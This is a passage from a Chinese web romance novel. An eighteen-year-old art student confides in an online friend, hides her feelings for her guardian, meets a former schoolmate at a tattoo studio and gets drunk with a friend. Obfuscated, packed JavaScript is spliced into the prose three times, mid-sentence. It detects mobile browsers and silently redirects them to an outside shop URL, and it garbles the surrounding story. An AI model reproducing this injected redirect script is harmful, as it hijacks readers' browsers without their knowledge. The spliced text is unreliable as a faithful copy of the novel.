因为打消了433可能是顾北的疑虑,所以荆梨面对他又恢复到以往放松的状态。 她磨磨蹭蹭地打字问:【你喝酒了?】 433:【喝了点。】 荆梨:【醉了?】 433:【嗯。】 荆梨:【醉了是种什么感觉?】 433:【你还没喝过酒?】 荆梨:【没有。】 荆梨情绪实在不佳,或许是因为沉溺在一段说不出口的感情里太久,今晚又看到了辛恬,她这会儿特别想说话,但具体要说什么她不知道,就想说下去,哪怕是些没营养没内容的废话。 对面这个熟悉的陌生人,或许是此刻她能依赖的唯一听众。 和433的相识起源于“今夜”这个带有社交属性的图文分享软件的问世。 软件是两年前易梓薇逼着她下载的,说在学生之间特别火,有点当年漂流瓶的意思,陌生人给你分享的图片和文章点赞留言,得到你的回复他才能看到你的主页,获取一次私信的机会。 荆梨不太感兴趣,她平时连朋友圈都很少发。 易梓薇为了和她互关,就用她的手机拍了张她平时画的素描头像,接着把照片发布到今夜上。 好巧不巧,那张素描就是她随手画的顾北。 等荆梨发现的时候,底下的评论已经过百了。 基本都是夸画中人好帅,以及评价她虽然画得粗糙但笔触精准的。 荆梨百无聊赖地手指一划,评论区到底,她也随之注意到第一个给她评论的,那个名叫“433”的用户。 北极星距离地球约433光年。 不光名字,这个人连头像都是夜空中的北极星。 她有刹那的心跳停滞,害怕这个433就是她想的那个人。 不过他评论的内容打消了她的疑虑。 【画的不错,是美术生吗?】 顾北不会问这种问题,他不是那种会披着马甲骗小姑娘的人。 他从不屑于隐藏。 因为北极星,她为433带上一层天然的好感滤镜,便只回复了他:【是。】 不一会儿,433给她私信道:【我也学过画画,你的风格我很喜欢,介意互关吗?】 荆梨不假思索,点了回关。 从那以后,每次她分享绘画作品,433都会给她点赞评论,有可以精进的地方他便在私信里指出,他只聊画,从不扯别的。 荆梨在创作上面十分自我,她开始并不服气433的指导,据理力争过,但最后等她静下来,将他点出的问题进行修改后,画面呈现的效果果真提升了。 她问他:【你念的哪所大学?】 433:【京州大学。】 京州大的美院是国内最牛的。 估计对面以为她也想考,便主动道:【我一个学长在搞艺考培训,他教过的学生很多都考上我们学校了,你需要旁听资格吗?】 荆梨回答得干脆:【谢谢,不需要。】 她说:【我要考梧城艺术学院。】 433不解:【为什么?】 她说:【我家就在梧城,京州太远了。】 433:【现在交通这么发达,距离还是问题么。】 荆梨:【跟你说你也不懂。】 如果她真去京州了,那一年四季当中,她便只剩夏与冬这两个季节能见到顾北了。 433:【好好好,我不懂,随你吧,你开心最重要。】 察觉对方话语中淡淡的无奈与宠溺,荆梨不由软下自己冷淡防备的态度,之后便和433成了无话不谈的网友。 这两年间,他见证她艺考大放光彩,成功进入梧艺。 她也从彼此间聊天的细枝末节之中推测出他比她大很多岁,在京州上班,单身,独居。 433情商很高,距离感保持的也很好,像一个循循善诱的知心大哥哥,聆听她的烦恼与心事,给予建议。 不知不觉间,她已慢慢将对方当成了自己的精神支柱。 时间回到现在。 433耐心地为她描述醉后的世界:【所有苦恼的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679385|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情好似一瞬间就消失了,脑袋晕晕乎乎,身体不再受自己支配,但这种感觉并不可怕,甚至很奇妙,可以不用理智,忘记痛苦。】 看完对方的描述,荆梨忽然生出醉一次的冲动:【听起来是个逃避现实的好方法。】 433:【是不错,但只能偶尔靠醉来逃避,次数多了,人会麻木的。】 荆梨:【麻木不好吗?】 433:【一旦麻木,人会寻找更强的刺激,那就完蛋了。】 荆梨:【更强的刺激?例如呢?】 433:【例如……】他顿了顿,好一会儿才迟疑道,【爱情?】 荆梨愣了愣,脑海里划过一张脸,回复道:【那我已经体会到这个更强的刺激了。】 这句话发过去,对面没了动静。 荆梨翻了个身,切到微信,打算约易梓薇明晚出去喝酒。 易梓薇同样没睡,两人聊了会,把要去的清吧定好。 等她结束聊天重新切回“今夜”,看到433问她:【你有喜欢的人了?】 荆梨不打算瞒他:【嗯。】 【很喜欢。】 433又沉默了。 过了两分钟,他问:【谁啊?同学吗?】 荆梨:【不是。】 433:【那是?】 荆梨笑笑,挪揄道:【你很好奇?】 433:【当然,能让你喜欢上的人得是什么样啊。】 荆梨:【什么意思?】 433:【没什么意思,就是想告诫你一句,你才十八岁,这个世界上的男人都不能轻易相信,他们都是带着目的接近你的,除了你的家人。】 荆梨失笑,不再继续这个话题。 她不禁想,要是433知道她喜欢的人恰好就是她的“家人”,会不会骂她是个疯子。 互道完晚安,荆梨给手机充上电,起身下床打算出去喝口水。 走到客厅时却撞上刚洗完澡从浴室出来的顾北。 昏聩的灯光下,男人赤/裸着上半身,腰上围了条浴巾,身材是毋庸置疑的好,宽肩窄腰,瘦而不柴,脖颈笔直,双臂结实舒展。 不断有热气从他白净精壮的肉.体上蒸发,发丝滴落的水珠从他结实的胸口一路滑过崎岖的六块腹肌,最后被浴巾吞噬。 荆梨愣在原地,忘了反应,视线不自觉黏在他块状分布的腹肌上,脑子里兀地蹦出三个字——巧克力。 “还没睡呢。” 见她目光呆滞地盯着自己,顾北神情未变,走到沙发边不动声色地把手机扔到软垫上。 闻言,荆梨猛地回过神,连忙用杯子挡住自己烧红的脸,结结巴巴地说:“我我我口渴了,出来喝水。” “哦。” 顾北单手套上短T,用毛巾随意地擦了擦头发,浓烈的眉眼染上几分朦胧的湿意。 他的目光晦暗不明,沉沉地凝着女孩,哑声叫她:“小梨。” 男人声线沉郁,带着淡淡的严肃。 荆梨心口一跳,眼睛从杯子上方露出来,有些怯怯地看着他。 四目相对,顾北神情微凛,冒出一句莫名其妙的警告:“你才十八岁,多花些心思在学业上。” 说罢,不等女孩回答,他又嘱咐了句“别熬太晚”,接着便拿上手机转身回了房。 留下呆怔的荆梨惊疑不定地回味琢磨他的警告。 他……什么意思? 难不成他发现她兼职的事情了? 22.重逢 Chapter 22 第二天清晨,荆梨猛地从噩梦中惊醒,顶着发胀的脑袋,她抓起手机看了眼时间,还不到八点。 她困顿地翻了个身,打算再眯一会。 可客厅传来的细微响动将她的困意彻底驱散。 她强撑着爬下床,走出房间,瞧见正在门口低头穿鞋的顾北。 “你要出门啊。”她问。 顾北今天没穿西装,而是换了件款式休闲的灰色圆领卫衣,头发也没怎么打理,稍长的刘海柔顺地搭在额前,他背着军绿色的双肩包,打眼一看就像准备出门学习的男大。 顾北系好鞋带,直起身回头看向荆梨,弯起唇,颊边凹出一个浅浅的酒窝:“嗯。”紧接着问,“今天周末,你怎么不多睡会?” 荆梨目光不自觉落在那只双肩包上,神情恍惚了一瞬,那是她高中参赛得来的奖品。 她觉得不好看就没背过,扔在角落吃灰,高考完收拾房间的时候就顺手和旧书一起丢了。 没想到竟然被顾北捡了回来。 心口一阵发热,不等她回话,视线又注意到顾北手里拿着的文件袋。 是昨晚辛恬送来的那个。 她整个人像被泼了盆冷水,声音淡淡的:“醒了就睡不下去了。” 顾北听出她的意有所指,抱歉道:“是我把你吵醒了?” 荆梨故意不吭声,算是默认。 顾北走到她面前,抬起手想要摸摸她的脑袋,却因荆梨条件发射般躲避的动作给滞在半空。 场面一时尴尬。 荆梨撇过脸,长发垂在颈侧,单手抱臂呈现防备的姿态,她低声道:“这么早你要去哪儿?” 顾北垂睫掩去眸中的情绪,哑声说:“设计院,工作上的事儿,得去加个班。” 他的手掌落在女孩的肩头,指尖微微用力,唇角牵起温柔的弧度:“早饭在桌上,你记得吃。”他顿了顿,又道,“别乱跑,在家等我回来。” 心弦被他过于温柔宛如情话的嗓音拨动,荆梨瘪了瘪嘴,不知为何有些委屈:“那你什么时候回来?” 顾北收回手插进裤袋,语气郑重:“中午一定回家给你做饭。” 荆梨眉眼终于松动,漾出点笑意,抬眸柔软地看着他:“我想吃咕咾肉。” 顾北轻笑:“好。” 荆梨心情就这么由阴转晴,顾北一走,她听话地将桌上还冒着热气的馄饨吃了个干净,随后端坐在书桌前,用数位板画稿,整个上午一次手机也没看过。 直到时间指向12点,她也没等到顾北回来。 荆梨抱着膝盖窝在沙发里,偌大的房间安静得针落可闻,她眼眸失焦地盯着门口,觉得一瞬间好似回到了小时候,她独自在昏暗的出租屋里等待顾北回家,小小的心脏会因为夜间无限放大的响动而紧缩颤抖。 那时的她没有丝毫怨言,因为她知道顾北一定会回来的。 可是现在……她没那么笃定了。 如果长大的代价是和他渐行渐远,是承诺随时会食言,那她宁愿不长大。 手机突兀的铃声将她飘远的思绪拉回,荆梨机械地转动脖颈,看清来电显示的名字。 她几不可闻地嗤了声,接起电话。 顾北沉哑的嗓音透过电流涌入耳朵:“小梨,哥哥这边还没有忙完,不用等我了,我刚给你发了红包,你点个外卖,别又为了减肥不吃饭。” 荆梨咬着唇,强忍鼻间的酸涩,她深吸了口气,想质问他为什么回不来还让她等,可话刚到嘴边,电话那头忽然响起一道清甜的嗓音。 “顾老师,张总邀请我们今晚吃饭,您……”辛恬走进办公室瞧见顾北正在打电话,忙闭上嘴。 顾北看了她一眼,起身走到窗前,对着手机柔声说:“小梨,哥哥今天估计得很晚回家,你早点睡,别等我。” 荆梨抬手用力揉了揉眼睛,视线模糊一片,她知道自己现在开口声线绝对是抖的。 好半晌,在双方的沉默中,她短促地“嗯”了声,逃避似的挂断了电话。 荆梨躺倒,眼泪就这么无声无息地滑落,她面无表情地望向电视机柜上摆着的双人合照。 高三成人礼,她和顾北在学校拍的。 那天她穿了件白色的连衣裙,还特意做了个盘发造型,颈上戴着顾北送的钻石项链,手捧黄色郁金香花束,模样清纯又乖巧。 顾北则穿了件黑色的夹克,鼻梁架着一副银框眼镜,手背在身后,为了照顾她的身高,微微躬身靠在她身旁,嘴角含着淡淡的笑意,活像个老干部。 她一直记得,那一整天她都泡在紧张的情绪里,不是因为活动繁杂,而是因为陪在她身边的人是顾北。 周遭不断有人睇来异样又暧昧的目光,他们在猜测他俩的关系。 既不像父女,也不像兄妹。 他俩长的实在是毫无半分相似的地方。 她觉得尴尬,不敢搭上顾北的臂弯,僵硬地站在原地,任摄影师如何劝说都不动一下。 察觉到她的排斥,顾北突然俯身凑到她耳边,温热的鼻息扑在耳朵上,霎时便染红了她的脸。 “那个骗你早恋的臭小子在吗?”顾北低笑,“指给我看看。” 荆梨讶异抬头,和他的目光相撞,她没有错过男人眸中划过的挪揄。 “不指。”她立刻别开眼,望向别处,耳朵连着脖颈红成一片。 少女的脸红在阳光下格外漂亮。 顾北见她不好意思,不由心情大好,他抬手一把揽过女孩的肩膀,半拥入怀中,朝摄影师微微颔首。 “看镜头,赶紧拍完带你去吃饭。” 男人胸腔的震动让荆梨心尖一悸,下意识扬唇对镜头露出微笑。 不知何时开始,她变的扭捏,在相处之中拧巴不已,顾忌别人的眼神和看法,可顾北从不在乎。 就像黄色郁金香的花语——无望的爱。 本就无望,她偏生出了妄念。 荆梨闭上眼,任由泪水打湿鬓发。 顾北,你说你不会喜欢辛恬。 你迟早会喜欢的。 - 荆梨没收红包,她进屋换上出门的衣服,还化了个淡妆,拎起包就出了门,下楼打车前往兼职的地点。 顾北每月给她五千生活费,这在大学生中算很多的了。 许是为了向男人证明自己已经长大成人,也为了减少对他金钱上的依赖,大一刚开学荆梨就找了兼职。 易梓薇有个表姐在大学城附近开了家纹身工作室,得知荆梨想找活干,便主动邀请她过来当学徒。 荆梨开始不太乐意,她对纹身这种小众爱好完全一窍不通,但表姐说不用她坐班,没课的时候来店里帮忙画画设计稿就行。 这种清闲又好玩的工作荆梨自然没理由拒绝。 不光如此,她平时还在今夜上接些画稿的私活。 一个月下来她也能赚个千把块钱,足够覆盖掉大部分生活支出。 剩下的钱就成了她的小金库,想着万一遇到什么突发状况能有钱应急。 纹身工作室的名字叫“氰”,氰.化.物的氰,听起来有种致命的刺激感。 易梓薇的表姐叫邹默,谐音“周末”,所以朋友们给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703350|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了个“双休姐”的外号。 她是荆梨见过最酷的人。 不光外表酷,内心与行事也非常酷。 听易梓薇说,邹默家比她家还有钱,她自己也特别优秀,京大毕业,国外留学了四年,双学位博士,可以说是前途无量,大家都在期待她回国后在事业上大展拳脚。 没想到的是这人一毕业就去环球旅行了,每到一个国家就会来场艳遇,但她从不深陷,对待感情格外洒脱。旅行结束后回到国内,拒绝进入家族公司,和人合伙开酒吧,开连锁餐厅,开纹身工作室,还都盈利了。 荆梨听完不由感叹,像她这种生命浓度特别高的人,做什么都会成功。 荆梨进店时邹默正和纹身师老于吃盒饭,见她表情臭的吓人,整个人气压也很低,便招手道:“怎么这个点来了,正好,多一份盒饭,你吃吗?” 荆梨甩下一句“不吃”,径直走到练习台前,戴上手套和护目镜,抓起针头继续用假皮练习。 她神色专注,下手又快又重,仿佛面对的不是假皮,而是某人的胳膊。 邹默和老于对视一眼,耸耸肩。 荆梨手边一沓草稿纸,上面都是她无聊画的图案,她有个小目标,等她在假皮上将画过的所有图案都练习一遍后,就给自己设计一个独一无二的纹身。 时间在她的专注中悄然流逝,等她抬头活动筋骨,墙上的时钟已经转到下午一点半了。 没有客人,老于百无聊赖地躺在沙发上刷短视频。 邹默不知道去哪儿了,不见踪影。 “双休呢?”荆梨摘下手套,坐到老于对面,拧开一瓶矿泉水喝了几口。 老于眼睛不离手机:“接客人去了。” 荆梨:“哦。” 工作室所在的位置比较刁钻,在天桥的下方,地图软件时常导错,给人引到楼上的麻辣烫店去。 不一会儿,门把上的铃铛被撞响,人回来了。 荆梨下意识扭头,在看到邹默身后的男生时整个人倏地愣住。 “荆梨?”男生面露惊喜。 荆梨默默站起身,直到男生走到她面前才恍然回神:“周逸怀?” “是我,好久不见啊。” 男生面容俊朗,五官立体,寸头利落帅气,一米八几的身高,走近时有种扑面而来的压迫感。 荆梨点点头:“是啊,自从你保送梧大之后,我们就没见过了。” 周逸怀抿唇轻笑,不知想到了什么,语气有些感慨:“其实不止,从那件事之后,我们就没见过了。” 荆梨一愣,四目相对,周逸怀的眼神莫名炽热,她不由尴尬地将碎发别到耳后,笑笑没搭话。 “你们认识啊?‘’邹默走过来打破了尴尬的氛围,笑着望向二人。 荆梨主动介绍:“周逸怀,和我一个高中的,但不在一个班,算校友吧。” 周逸怀表情有些受伤:“光是校友吗?” 荆梨僵了僵,不吭声了。 邹默嗅到了瓜的味道,八卦的目光在二人之间逡巡,随即失笑道:“氛围怪怪的,你们……不会谈过吧?” 荆梨呼吸一顿,忙皱眉否认:“没有,别瞎猜!” 周逸怀挑眉,不置可否。 邹默只是随口一说,但瞧着荆梨过大的反应以及男生的沉默,她那句猜测反而有了几分真实。 她一把搂住荆梨的胳膊,压低嗓音问:“真是前男友啊?” 荆梨不悦地“啧”了声,直视着她的眼睛,一字一顿,笃定道:“绝对不是。” 说完她又在心里默默添了句:其实就差一点点了。 23.做个梦给你 Chapter 23 回忆起那段荒唐,又闹得声势浩大的“早恋”,荆梨有些哭笑不得。 其实被教导主任在操场上抓住牵手的那一天,是她和周逸怀第一次线下见面。 在那之前,他俩充其量算有点“暧昧”的网友。 荆梨之所以约他见面,还脑子一热差点和他确认关系,导火索竟还是因为顾北…… “荆梨。” 逐渐飘远的神思被邹默的轻唤拉回,荆梨眨了眨眼,看向她:“嗯?” 邹默撞了下她的肩膀,朝周逸怀的方向努了努下巴:“这位小帅哥既然是你的朋友,你就帮忙招待一下呗。” 荆梨没意见,她从桌上拿了瓶新的矿泉水,抛给周逸怀,指了指不远处的沙发,示意他跟自己过去。 周逸怀见她还和以前一样酷,不禁弯了下唇。 “你要纹身?”二人刚落座,荆梨便主动开口。 周逸怀拧动瓶盖,仿佛听到了什么笑话:“不然我来这干嘛?” 荆梨有些惊讶,视线无声地上下打量他:“你?纹身?你听听这像你能干出来的事吗?” 周逸怀胸膛前倾,朝她靠近几分,眼里的笑意愈发浓烈:“我怎么不能纹了,你这是赤/裸裸的歧视好学生。” 荆梨摆弄手里的平板,丝毫没发现此刻二人之间距离的缩短,嗤道:“你也知道你是好学生,好学生到这凑什么热闹,你知不知道纹身之后你就考不了公了。” 周逸怀:“那就不考了。” 听到这话,荆梨像看怪物一样看着他:“我记得你以前很正经的啊,怎么感觉你现在……”她思索了下措辞,“有点丧呢。” 紧接着,她像是才注意到对方短得能瞧见青皮的寸头,以及耳朵上的耳钉。 气质变化好大,和记忆里古板正经的学霸少年完全大相径庭。 给人一种很会玩的既视感。 “正经有什么好。”周逸怀手托腮,目光沉沉地望着她,笑意收敛,“当时的我都不敢出面帮你说一句话,害你一个人承受他们的指责。” “……” 荆梨愣住了,思绪被他眸中不加掩饰的情感所裹挟,一时忘了反应。 他……这是什么意思…… 几秒后,荆梨讪笑一声,后背靠上软垫,逃离男生炙热的注视,解释道:“你不会还在纠结那件事吧,拜托,你可是老师们的心头宝,他们怎么可能会让我影响到你呢,只要我保证再也不跟你往来,我俩犯的事就揭过去了,根本用不着你出面。” 说罢,她发现男生脸色一沉,忙补充,“归根结底都是因为我当时太不懂事了,擅自把你叫出来,害你这个大学霸摊上‘早恋’的污名。” “行了行了,不提了,都过去了,想纹身是吧,图案决定好了吗,给我看看……”荆梨试图把话题拉回来,却被周逸怀打断。 “那你现在懂事了么?”男生嗓音低沉,周身的气压陡然降低。 荆梨被问住了,盯着木质桌面的某处杂乱纹路,心湖泛起涟漪。 周逸怀仿佛根本无所谓她的答案,兀自继续道:“我知道你根本不喜欢我,要不然也不会把我单方面删了,这么久都不联系我。” “荆梨。”他轻声叫她,“其实那晚在操场上,你主动牵我手的时候,我很开心。” 荆梨呼吸一顿,猛地抬眼,视线撞进男生深不见底的黑眸。 “很高兴今天能再见到你。”周逸怀将解锁的手机摆放在荆梨面前,手指轻敲两下桌面,“加个微信吧,就当重新认识一次。” 荆梨眼神复杂地望着他,欲言又止。 周逸怀变了,变的进攻性好强。 是因为她吗…… 甩开这个格外自恋的念头,她扬起笑,点开扫码界面:“好。” 最后周逸怀还是没纹,他走后邹默坐到荆梨对面,点了根烟:“他不纹了。” 荆梨神情恹恹地趴着戳弄平板,语气透着疲惫:“他说图案还要想一想,等决定好了再过来。” 邹默点头,隔着烟雾瞧出女孩在走神,不由失笑:“想什么呢?人一走你就跟泄了气的皮球一样。” 荆梨掀起眼皮瞅向她,眉头皱成川字:“双休姐,我突然觉得自己好坏啊。” “怎么说?”邹默抖落烟灰,眼尾轻挑。 荆梨长长叹出一口气,支着脑袋目光失焦:“我好像把一个好男孩变成坏男孩了。” “噗……”邹默没忍住噗嗤笑出声,“抱歉抱歉,我不是故意想笑的,是你可爱到我了。” 荆梨:“……” 直说她傻不就得了。 邹默边吐烟边感叹道:“妹妹呀,男人不分好坏,只分强弱,你觉得他变坏了,但也许他只是不想再继续装下去了而已。” 荆梨不太明白:“装?什么意思?” “意思是叫你别把过错揽自己身上。” 说罢,她丢下一个神秘莫测的微笑,起身回了自己的休息室。 “切……”荆梨撇撇嘴。 演什么谜语人呢。 - 十月的最后一天,梧城也进入了秋的末尾,昼夜温差大,天一暗,空气里夹杂了冬日料峭的寒意。 荆梨站在路边,下意识裹紧身上的毛呢外套,五分钟后,易梓薇的红色跑车停在她面前。 上车后,空调温暖的热风拂到面上,荆梨将自己的脖子从领子里解放出来,偏头对上易梓薇笑嘻嘻的脸。 “冷不冷?”她问,“温度再打高点?” 荆梨摇头:“刚刚好。” “昨晚忘了问了,你不是滴酒不沾嘛,怎么突然想起约我去喝酒。”易梓薇注意着后视镜,边说边在路口调头。 “难不成昨晚回去顾北哥教训你了,所以心情不好想灌醉自己?”她笑道。 荆梨将蓝牙耳机放进充电仓,闻言微微一笑:“跟他没关系,是我自己想体会一下喝醉的感觉。” 易梓薇偏眸瞧她一眼:“行,那我今晚就陪你好好醉一次。” 十分钟后,二人来到提前订好位置的清吧。 这家口碑不错,主要是环境和氛围好,还提供配酒的餐食。 服务生领着二人来到卡座,留下酒水单后就离开了。 卡座呈半包围式,位于驻唱台前,视野极好,能清楚的将店内环境纳入眼底。 单子上文艺拗口的酒名让荆梨不禁头疼,她直接推给易梓薇,让对方盲点。 别看易梓薇外表单纯甜美,酒量却十分惊人,她不光能喝,自己也爱喝,所以不出一分钟,她就根据荆梨的口味点了几杯偏甜的鸡尾酒,还加了份小食套餐。 等待的时间里,驻唱歌手上台开始演唱。 唱的是郭顶的《水星记》。 这首歌大火的时候,荆梨一度在心中将它奉为第一。 着迷于你眼睛 银河有迹可循 穿过时间的缝隙 它依然真实地 吸引我轨迹 …… 做个梦给你 做个梦给你 等到看你银色满际 等到分不清季节更替 才敢说沉溺 还要多远才能进入你的心 还要多久才能和你接近 咫尺远近却 无法靠近的那个人 也等着和你相遇 环游的行星 怎么可以 拥有你 …… 女歌手的音色偏沉,似醇厚的烈酒,也似香烟滚过的唇舌,带着微苦的涩意。 《水星记》的歌词将那涩意的浓度加重,莫名让人鼻尖一酸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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荆梨直直地盯着她,缓缓眨了眨雾蒙蒙的眼睛,问她:“谁啊,让你笑得这么猥琐。” “当然是我老……”易梓薇提了口气,随即又硬生生把后半句话给咽了回去,讷讷道,“老爸啦,嘿嘿,他问我在干嘛呢,我说跟你一块吃饭呢。” 荆梨刚“哦”了一声,她的手机也随之响起。 易梓薇看清来电显示的名字,不由小脸一苦,用口型提醒她:“顾北哥。” 没想到荆梨直接按灭了屏幕。 把电话挂了。 易梓薇倒抽一口凉气:“你挂他电话啊?” 荆梨眼神放空,表情有些呆滞:“嗯。” “我在单方面跟他冷战。”她放慢语速,愣愣地说,莫名呆萌,“等气消之前,我暂时晾他一下。” “不能总让他觉得我很好欺负。” 易梓薇总算察觉到女孩的不对劲了,她伸手摸了摸荆梨滚烫的脸颊,无奈失笑:“不是吧宝宝,才一杯你就醉啦。” 荆梨扒拉掉她的手,鼓了鼓腮,像耍赖的小孩子:“我没醉,我还可以喝。” 话落,抓起杯子又喝下一大口,眼神更迷离了。 易梓薇不知想到什么,忽然兴奋起来,攥住荆梨的手指晃了晃,八卦道:“哎亲爱的,顾北哥他那么帅,按理说应该有很多女孩子追吧,怎么没见他谈过恋爱啊” “还是说他以前其实谈过,我不知道。” 荆梨觉得自己的脑袋变得好重,入目的一切都在摇晃,她用力扶住脑袋,以为这样就不晃了。 听到易梓薇提起顾北,那些被她压抑的委屈与酸涩再也控制不住,从心底泉涌似的往外冒。 她吸了吸鼻子,就这么抱着头,可怜巴巴地瘪了瘪嘴,在酒精的影响下,思绪被猛然拉入两年前的回忆中。 “他谈过恋爱。” 24.相亲 Chapter 24 两年前,顾北26岁的时候,刘春迎给他介绍过一个女孩子。 对方是刘春迎上司的女儿,荆梨一直记得她的名字——徐图之。 徐徐图之。 听名字就能想象到她是个非常温柔的女生。 她本人也确实如她的名字一般,美好,坚韧。 徐图之和顾北同龄,学法律的,名校毕业,还有留学经历,回国后在顶尖红圈律所就职,父亲是大学教授,母亲是企业高管。 自身优秀,家庭幸福,长得还极为漂亮。 可以说是辛恬的plus版,黑长直,一张清纯的初恋脸,气质淡雅出众,在人群中闪闪发光。 这样的女生,搁谁都会喜欢她。 荆梨第一次见徐图之,是在今阳中学的门口。 那天是她例假第一天,整个人从身体到心情都很难受,捱到下午最后一节课结束,她去找班主任签了请假条,准备回家休息,在保安室等了一会儿,她瞧见顾北的那辆黑色宝马停在了学校对面。 荆梨苦哈哈的小脸上顿时扬起笑,背上包就要迎上去,却在下一秒脚步猛然停住。 只见一位身量高挑的长发美女从副驾上下来。 那天傍晚的夕阳格外璀璨,刺得人双眼生疼,一袭正装的顾北绅士地帮对方打开车门,二人相视一笑,立在车旁不知道在说些什么,像从偶像剧走出来的男女主,不管是样貌还是气质都格外相配。 当时的荆梨蓦然认清了一个现实,一个她从未想过的,也无法忽略的现实——那就是,小北哥哥不是属于她一个人的。 他迟早会结婚生子,会和别人组成自己的小家,会拥有寻常却温馨的人生。 而她……只是一个令他操心的妹妹而已。 荆梨忘了自己后来是怎么逃走的了,只记得当顾北终于想起他此行来学校的目的,穿过马路朝校门口走来时,她跑回了教室。 顾北没在保安室看到她的身影,打电话给她,荆梨躲在楼层西侧的厕所里,抱着手机目光呆滞,缓了好一会儿呼吸才尽量保持声线平复,告诉他自己没事了,可以继续上晚自习。 顾北没说什么,嘱咐她如果实在坚持不下去就不要硬撑。 许是她过于敏感,脑海中全是顾北和那个女生在一起的画面,竟觉得男人语气中似带着敷衍。 挂完电话,她莫名其妙地红了眼眶。 当时的她还不明白自己在难过什么,只感觉全世界的好事都离她而去了,心口慌乱,整个人彷徨不已。 很久之后,她才慢慢意识到,她对顾北的感情早已超脱了亲情。 那种彷徨,是不见天日的暗恋败给残酷现实的灰烬。 那天之后,荆梨仔细观察起顾北,不知是不是她戴上有色眼镜的缘故,她发现顾北变得更忙了,加班的时间也更多了,有时候晚上回来的比她这个高中生还要迟。 他的工作场合没有强制要求必须穿正装,那段时间他却每天都穿西装出门,好不容易休息在家,如果当她面接到电话,他便会拿起手机走远去听。 顾北的状态太像在恋爱中了。 他这个状态持续了两个星期左右,期间荆梨很想问问那个从他车里下来的长发女生是谁,可一直没寻到合适的机会,她也不清楚该如何解释自己为什么会知道对方的存在。 直到刘春迎叫他们去她那儿吃饭。 “顾北。”菜上齐,三人刚动筷,刘春迎便急匆匆地开口,“你跟小徐接触的怎么样啊?她人不错吧。” 荆梨眼睫一颤,咬着筷子头下意识看向身侧的男人,目光惴惴。 她脑海里浮现出顾北和长发女孩相视而笑的画面。 顾北神色如常,垂眸细心地挑着鱼刺,语气随意:“人是不错,工作起来非常专业。” 不知是有意还是无意,他没答前面的“接触的怎么样”,只附和了后半句的“人不错”。 刘春迎没细想,自动脑补了二人相处甚欢的场景,颇为满意地点点头:“小徐这孩子我之前见过一次,长得水灵性格还好,她妈经常跟我夸呢,说她打小就懂事,特别有主意,从没让父母操过心,就是一直没谈男朋友,她妈怕她单着单着就把人生大事给耽搁了。” 顾北笑笑,没搭腔,将挑干净鱼刺的鱼肉夹到荆梨碗里,抬眸间对上女孩直勾勾的眼神,他不禁挑眉:“看我干什么,吃饭。” 荆梨收回视线,抿了抿唇,筷子拨弄鱼肉,并不塞进嘴里,状似不经意地讷讷道:“小徐……是谁啊?” 刘春迎“哦”了声,仿佛才想起来给顾北介绍相亲对象这件事也得让她这个妹妹知晓一下。 “我给你哥介绍的相亲对象,徐图之,小徐,我领导的闺女,和你哥一般大。”刘春迎笑着说,“美女大律师,可优秀了,多少人跟后追着呢,幸好有你舅妈在,近水楼台,等你哥把人姑娘拿下了,带回家你给掌掌眼,说不定人家就是你未来嫂子了……” “舅妈。” 刘春迎越说越来劲,被顾北沉声打断。 男人眸色漆黑,笑容温和却不及眼底:“这种事就别在小梨面前说了。” 刘春迎被这么一堵,讪讪一笑:“不说了不说了,吃饭吃饭。” 荆梨头埋得更低,黑白分明的杏眸被阴影遮挡,她快速扒了几口饭,仿若饿极了,可直到一碗米饭见底,那块顾北递来的鱼肉,还完好地躺在碗底。 吃完饭,顾北收拾筷碗的时候,看见那块鱼肉,他动作一顿,扭头去瞧坐在沙发上的女孩。 她正对着手机敲敲打打,不知道在跟谁聊天,披散的长发挡住了她的侧脸,看不清她的表情。 可她坍塌的肩背却暴露了她此刻低落的情绪。 顾北喉骨轻滚,眉头微不可察地蹙了蹙。 从刘春迎家出来,天已经黑了,两人一前一后朝停车的地点慢步而去。 荆梨一直在玩手机,手指时不时翻飞,聊的很起劲。 连顾北停下脚步都不知道,直至她撞上男人坚硬的胸膛。 手机倏然坠地,光亮屏幕朝上。 荆梨心跳微滞,忙弯腰去捡,却被顾北抢先一步。 “周逸怀?”顾北拧眉读出聊天对象的备注,黑眸沉沉地睨着她,嗓音沉哑,“你同学?” 荆梨有些慌乱,对上他看向自己的眼神,那么理所当然与不容置喙,她突然起了脾气,伸手去夺手机:“要你管,把手机还给我。” “告诉我这人是谁,我就给你。” 顾北轻飘飘躲开,手臂伸直,迫使女孩不得不踮起脚尖去够。 “就不告诉你,凭什么我什么都得告诉你,就你有隐私是吧……” 荆梨边拽他的衣袖,边小幅度蹦跳,蓬蓬的短裙像绽开的骨朵,结果下一秒,她脚下不稳,被路边翘起的地砖绊了一下。 荆梨猛地瞪大眼,下意识惊呼出声,身体失去重心,整个人朝他扑过去。 顾北连忙揽过她的腰,将人搂入怀中。 世界一瞬间陷入沉寂。 